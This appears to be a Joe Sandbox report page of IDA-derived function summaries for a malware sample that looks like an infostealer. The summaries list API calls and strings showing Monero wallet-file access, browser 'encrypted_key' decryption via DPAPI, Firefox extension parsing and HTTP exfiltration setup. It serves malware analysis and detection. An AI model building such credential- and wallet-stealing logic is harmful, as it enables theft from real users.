Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 297d70e06b091d6ecfa19bc79532b7bc4b9f2179d808fb82260b82020d55b4bf
Instruction ID: 698506ba26990dfa09f65bba317e54f822f209c16f6889bca3138c1827486fe5
Opcode Fuzzy Hash: 297d70e06b091d6ecfa19bc79532b7bc4b9f2179d808fb82260b82020d55b4bf
Instruction Fuzzy Hash: 14E18D728101189AEB09FBA8DD95DEE7338FF54300F50816AF516B60D1EE386A49CB73

Function 0087D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

Part of subcall function 00888B60: GetSystemTime.KERNEL32(00890E1A,010FD900,008905AE,?,?,008713F9,?,0000001A,00890E1A,00000000,?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 00888B86

Part of subcall function 0088A920: lstrcpy.KERNEL32(00000000,?), ref: 0088A972
Part of subcall function 0088A920: lstrcat.KERNEL32(00000000), ref: 0088A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0087D801
lstrlen.KERNEL32(00000000), ref: 0087D99F
lstrlen.KERNEL32(00000000), ref: 0087D9B3
DeleteFileA.KERNEL32(00000000), ref: 0087DA32

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 056a4f8f1110ae9224ccdb6b1d84dacdedaafc1d9844ed0b51726ad4ed235a3b
Instruction ID: 09fcaefff35a94f5064fb24ddd0edfacd3503754b87e04cfe89bb240581d773d
Opcode Fuzzy Hash: 056a4f8f1110ae9224ccdb6b1d84dacdedaafc1d9844ed0b51726ad4ed235a3b
Instruction Fuzzy Hash: BF81CE719101149AEB08FBA8DD96DEE7738FF54300F50456AF516E60E2EF386A09CB63

Function 0087F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0088A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0088A7E6

Part of subcall function 008799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 008799EC
Part of subcall function 008799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00879A11
Part of subcall function 008799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00879A31
Part of subcall function 008799C0: ReadFile.KERNEL32(000000FF,?,00000000,0087148F,00000000), ref: 00879A5A
Part of subcall function 008799C0: LocalFree.KERNEL32(0087148F), ref: 00879A90
Part of subcall function 008799C0: CloseHandle.KERNEL32(000000FF), ref: 00879A9A

Part of subcall function 00888E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00888E52

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

Part of subcall function 0088A920: lstrcpy.KERNEL32(00000000,?), ref: 0088A972
Part of subcall function 0088A920: lstrcat.KERNEL32(00000000), ref: 0088A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00891580,00890D92), ref: 0087F54C
lstrlen.KERNEL32(00000000), ref: 0087F56B

Strings

moz-extension+++, xrefs: 0087F5AD
^userContextId=4294967295, xrefs: 0087F59C

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 0aa2bfe8661af78d2dd62b92507d759fb32e2cdc9d2f400555dce0d228fec5cc
Instruction ID: dbacc70058e52c37427c53191fd96e9bbb36f6e44c41a921c61c313c81a0f80f
Opcode Fuzzy Hash: 0aa2bfe8661af78d2dd62b92507d759fb32e2cdc9d2f400555dce0d228fec5cc
Instruction Fuzzy Hash: 6551DE719101089AEB08FBA8DD96DED7779FF54300F408529F916E61D1EE386A09CBA3

Function 00879CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Part of subcall function 008799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 008799EC
Part of subcall function 008799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00879A11
Part of subcall function 008799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00879A31
Part of subcall function 008799C0: ReadFile.KERNEL32(000000FF,?,00000000,0087148F,00000000), ref: 00879A5A
Part of subcall function 008799C0: LocalFree.KERNEL32(0087148F), ref: 00879A90
Part of subcall function 008799C0: CloseHandle.KERNEL32(000000FF), ref: 00879A9A

Part of subcall function 00888E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00888E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00879D39

Part of subcall function 00879AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00874EEE,00000000,00000000), ref: 00879AEF
Part of subcall function 00879AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00874EEE,00000000,?), ref: 00879B01
Part of subcall function 00879AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00874EEE,00000000,00000000), ref: 00879B2A
Part of subcall function 00879AC0: LocalFree.KERNEL32(?,?,?,?,00874EEE,00000000,?), ref: 00879B3F

Part of subcall function 00879B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00879B84
Part of subcall function 00879B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00879BA3
Part of subcall function 00879B60: LocalFree.KERNEL32(?), ref: 00879BD3

Strings

DPAPI, xrefs: 00879D89
"encrypted_key":", xrefs: 00879D30
, xrefs: 00879DC1

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 6f7672ddbabc038c45c30fe98707c2c9af11cf5f71e71da3323ffcdf34cbdb52
Instruction ID: e7c42f0ca489459743311d1f782bc87e9ccbd4c3474527cb8a1546fa039d35aa
Opcode Fuzzy Hash: 6f7672ddbabc038c45c30fe98707c2c9af11cf5f71e71da3323ffcdf34cbdb52
Instruction Fuzzy Hash: E4313275D10109ABCF14EBE8DC85AEE77B8FB48304F148519E915E7245FB34DA04CBA1

Function 00886AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,010F8B88,?,0089110C,?,00000000,?,00891110,?,00000000,00890AEF), ref: 00886ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00886AE8
CloseHandle.KERNEL32(00000000), ref: 00886AF9
Sleep.KERNEL32(00001770), ref: 00886B04
CloseHandle.KERNEL32(?,00000000,?,010F8B88,?,0089110C,?,00000000,?,00891110,?,00000000,00890AEF), ref: 00886B1A
ExitProcess.KERNEL32 ref: 00886B22

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: a8feea7bbc148f653bed9bb5c338200a89b19f947784236ead596d70aba34df2
Instruction ID: 4448e0958dc79740c07b1c93c0433158e68934dc52f4f4aae967aedb8369dcab
Opcode Fuzzy Hash: a8feea7bbc148f653bed9bb5c338200a89b19f947784236ead596d70aba34df2
Instruction Fuzzy Hash: 1EF03470A44229ABE704FBE09C0ABBE7B34FB24705F104A15F512E15E2EBB15941DBA7

Function 008747B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00874839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00874849

Strings

<, xrefs: 008747C9

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 4dd8ac7c570f1e0802801c2847b274c15619f8f313bc825b6020289332ed70ed
Instruction ID: d535ee51b153ff4d34453f084513565af495daa865a6f82d343b467014c8779c
Opcode Fuzzy Hash: 4dd8ac7c570f1e0802801c2847b274c15619f8f313bc825b6020289332ed70ed
Instruction Fuzzy Hash: 11214FB1D00209ABDF14EFA8E849ADE7B75FB44320F108625F915A72D1EB706A09CF91

Function 008851F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0088A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0088A7E6

Part of subcall function 00876280: InternetOpenA.WININET(00890DFE,00000001,00000000,00000000,00000000), ref: 008762E1
Part of subcall function 00876280: StrCmpCA.SHLWAPI(?,010FEB98), ref: 00876303
Part of subcall function 00876280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00876335
Part of subcall function 00876280: HttpOpenRequestA.WININET(00000000,GET,?,010FE570,00000000,00000000,00400100,00000000), ref: 00876385
Part of subcall function 00876280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 008763BF
Part of subcall function 00876280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 008763D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00885228

Strings

ERROR, xrefs: 00885273
ERROR, xrefs: 0088521A

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

